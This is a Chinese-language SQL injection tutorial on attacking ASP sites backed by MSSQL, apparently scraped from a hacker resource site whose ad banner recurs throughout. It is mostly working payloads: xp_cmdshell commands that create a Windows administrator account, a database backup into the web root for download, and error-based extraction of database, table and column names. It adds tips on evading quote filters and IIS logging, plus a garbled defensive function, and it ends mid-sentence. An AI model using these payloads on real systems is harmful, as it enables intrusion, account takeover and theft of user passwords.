更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
SQLServer 是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”-- 分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着： http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。
http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot1.db’;--
这是相当狠的一招，从 3 拿到的数据库名，加上某些 IIS 出错暴露出的绝对路径，将数据库备份到 Web 目录下面，再用 HTTP 把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如202.96.xx.xxShare 1.db），但成功率不高。 http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过，sysobjects 是 SQLServer 的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从 5 拿到表名后，用 object_id(‘表名’)获取表名对应的内部 ID，col_name(表名ID,1) 代表该表的第 1 个字段名，将 1 换成 2,3,4...就可以逐个获取所猜解表里面的字段名。
以上 6 点是我研究 SQLServer 注入半年多以来的心血结晶，可以看出，对 SQLServer 的了解程度，直接影响着成功率及猜解速度。在我研究 SQLServer 注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：
简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。 第三节、经验小结
有些人会过滤 Select、Update、Delete 这些关键字，但偏偏忘记区分大小写，所以大家可以用 selecT 这样尝试一下。
在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
特别注意：地址栏的+号传入程序后解释为空格，+ 解释为 + 号，% 解释为 % 号，具体可以参考 URLEncode 的相关介绍。 用 Get 方法注入时，IIS 会记录你所有的提交字符串，对 Post 方法做则不记录，所以能用 Post 的网址尽量不用Get。
猜解 Access 时只能用 Ascii 逐字解码法，SQLServer 也可以用这种方法，只需要两者之间的区别即可，但是如果能用 SQLServer 的报错信息把值暴露出来，那效率和准确率会有极大的提高。 防范方法
ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替 ASP 中的 Request 函数，可以对一切的 SQL 注入 Say NO，函数如下： Function SafeRequest(ParaName,ParaType) --- 传入参数 ---
ParaName:参数名称-字符型
ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符) Dim ParaValue
ParaValue=Request(ParaName) If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write \参数\必须为数字型！\ Response.end End if Else
ParaValue=replace(ParaValue,\ End if
SafeRequest=ParaValue End function
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。 （作者：小竹）
漏洞描述：MSSQL 跨库查询.可以暴露任意库中任意表中字段的值. 漏洞发现者：中国网络脚本安全测试小组--臭要饭的!,黑夜. 测试和利用：臭要饭的!,黑夜. 测试日期：2003-10-30
前言：
哎，真是无聊，又烦人，我这个要饭的，日子越来越不好过了。有人居然说我奉旨要饭，我真是没得语言了，所以抽了空玩点COOL的，好让大家来分享分享！ 大家都知道SQL跨表查询的东东吧。不过，假如管理员把字段名改成非常复杂的话，那么我们去猜解字段名,那将会是一件非常痛苦的事. 痛苦的事我们就不要去做了，交给想做痛苦的事的人吧.我们去找新的，绕过这个痛苦的过程。 绕过这个过程的过程I LIKE 。这个过程就是我今天要为大家介绍的 MSSQL 跨库查询的用法.
开工吧，让我们来分析一下MSSQL的三个关键系统表.
一、分析MSSQL三个关键系统表. (西安禾丰http://www.hf1997.com/). sysdatabases
MSSQL中对sysdatabases系统表 的说明：
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、
mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。 这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是
保存了，所有的库名,以及库的ID，和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯！ name dbid
//表示库的名字. //表示库的ID.
dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库.
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
我们利用SQL语句：select * from master.dbo.sysdatabases 就可以查询出所有的库名.
sysobjects
MSSQL中对sysobjects系统表的说明： (西安禾丰http://www.hf1997.com/).
在数据库内创建的每个对象（约束、默认值、日志、规则、存储过程等）在表中占一行。只有在 tempdb 内，每个临时对象才在该表中占一行。 这个是列出数据库对象的系统表。当然数据库表名也在里面的. 这里我就为大家列出一些对我们有用的字段名称和相关说明. name id xtype uid
对象名. 对象ID 对象类型 所有者对象的用户ID。 对象类型(xtype)。可以是下列对象类型中的一种： C = CHECK 约束
D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 L = 日志
FN = 标量函数 IF = 内嵌表函数 P = 存储过程
PK = PRIMARY KEY 约束（类型是 K） RF = 复制筛选存储过程 S = 系统表 TF = 表函数 TR = 触发器 U = 用户表
UQ = UNIQUE 约束（类型是 K） V = 视图
X = 扩展存储过程
当然我们这里只用得到xtype=“U“的值。当等于U的时候，对象名就是表名，对象ID就是表的ID值.
我们利用SQL语
句: select * from ChouYFD.dbo.sysobjects where xtype=“U“ 这样就可以列出库名称是：ChouYFD中所有的表名. syscolumns
SQL中syscolumns系统表的说明：
每个表和视图中的每列在表中占一行，存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
这个就是列出一个表中所有的字段列表的系统表。
这里我就为大家列出一些对我们有用的字段名称和相关说明: name id colid
//字段名称 //表ID号. 字段ID号.
其中的 ID 是 刚上我们用sysobjects得到的表的ID号. 我们利用SQL语
句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD这个库中，表的ID是123456789中的所有字段列表. YES SIR 明白！GO GO GO !!!
好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看SQL相关说明. 二、灵活利用系统表
同志们，玩过CS游戏的举手，呵呵，都玩过啊。好！我们今天也要来爆一下\头\
GO GO GO ！！！
不过我们现在爆的是库名，表名，字段名,我们用不着去猜库名，表名，字段名. 说一下怎么爆出相关的库名，表名，字段名.
当两个类型值不一样的时候，将他们做比较,SQL系统会提示出错。并且会显示出类型的值. 如：’aaa’>100 这样比较，也就是字符串和数字的比较，这个怎么比较嘛，系统当然会提示出错啦！大家都知道只有相同类型的时候才可以进行运算.所以这里我们就来一个反方向的不相同类型比较，爆出他的值. 下面就让我们来测试吧！！！准备好没有？GO！
任务一：得到所有库名.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) _ from master.dbo.sysdatabases where name>1 and dbid=6)
因为 dbid 的值从1到5，是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1 NAME字段是一个字符型的字段和数字比较会出错.那我们提交看一下IE返回了什么？ IE返回.
Microsoft OLE DB Provider for SQL Server 错误 “80040e07“
将 nvarchar 值 “Northwind“ 转换为数据类型为 int 的列时发生语法错误。 /jump.asp，行33
GOOD!!!这样就把NAME字段的值爆露出来了: Northwind. 也就是我们得到了一个库名.
改变DBID的值.我们可以得出所有的库名.当DBID等于10,11的时候，爆出了
SQL注入经典教程(珍藏版)
